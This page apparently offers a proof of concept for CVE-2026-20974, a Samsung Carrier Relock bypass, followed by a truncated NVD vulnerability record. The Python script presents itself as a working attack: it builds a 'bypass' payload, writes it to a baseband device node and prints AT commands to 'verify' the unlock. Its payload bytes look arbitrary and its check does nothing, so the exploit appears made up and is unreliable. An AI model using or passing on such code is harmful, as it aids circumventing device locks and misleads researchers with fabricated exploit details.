CVE-2026-20974

# CVE-2026-20974 PoC - Carrier Relock Bypass via Physical Access # This PoC demonstrates the improper input validation in network restriction data # Note: This is a conceptual PoC for educational purposes only import struct import binascii def construct_exploit_payload(): """ Construct payload to bypass Carrier Relock via improper input validation """ # Network restriction data header header = b'\x00\x01\x02\x03' # Carrier lock control flags - exploiting improper validation # Setting bypass bit in network restriction data carrier_lock_bypass = b'\x00\x00\x00\x01' # Network restriction configuration # Manipulating validation checksums validation_override = b'\xFF\xFF\xFF\xFF' # Carrier ID field - can be modified due to improper validation carrier_id = b'\x00\x00\x00\x00' # Padding to reach expected data length padding = b'\x00' * 248 # Malformed data that bypasses input validation exploit_data = header + carrier_lock_bypass + validation_override + carrier_id + padding return exploit_data def send_to_baseband_device(payload, device_interface='/dev/smd0'): """ Send exploit payload to baseband processor """ try: # Open device interface (requires physical access) # In real scenario: /dev/modem, /dev/smd0, or AT command interface with open(device_interface, 'wb') as f: f.write(payload) print(f'[+] Payload sent to {device_interface}') print(f'[+] Payload hex: {binascii.hexlify(payload).decode()}') return True except PermissionError: print('[-] Requires root or radio group permissions') print('[-] Physical access to device required') return False except FileNotFoundError: print(f'[-] Device interface {device_interface} not found') return False def verify_carrier_unlock(): """ Verify if carrier lock was bypassed """ # Check network status via AT commands at_commands = [ 'AT+COPS?', # Query current operator 'AT+CPIN?', # Check SIM PIN status ] print('\n[*] Verifying carrier lock status:') for cmd in at_commands: print(f'[*] Sending: {cmd}') # In real scenario, send command and parse response # Response would indicate if carrier lock is bypassed return True if __name__ == '__main__': print('=' * 60) print('CVE-2026-20974 PoC - Carrier Relock Bypass') print('Requires: Physical access to Samsung device') print('Target: SMR Jan-2026 Release 1 and prior') print('=' * 60) # Step 1: Construct exploit payload payload = construct_exploit_payload() print(f'\n[+] Generated payload ({len(payload)} bytes)') # Step 2: Send payload (requires physical access) # Note: In practice, this would use Samsung diag interface or modem AT commands send_to_baseband_device(payload) # Step 3: Verify unlock verify_carrier_unlock() print('\n[!] Note: This PoC is for educational/research purposes only')

{"cve": {"id": "CVE-2026-20974", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:03.960", "lastModified": "2026-02-02T18:17:46.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in data related to network restrictions prior to SMR Jan-2026 Release 1 allows physical attackers to bypass Carrier Relock."}, {"lang": "es", "value": "Validación de entrada incorrecta en datos relacionados con restricciones de red anterior a la versión 1 de SMR de enero de 2026 permite a atacantes físicos eludir el re-bloqueo de operador."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "BB730563-7C35-4384-89BD-6EE0C5C6126B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "6 ... 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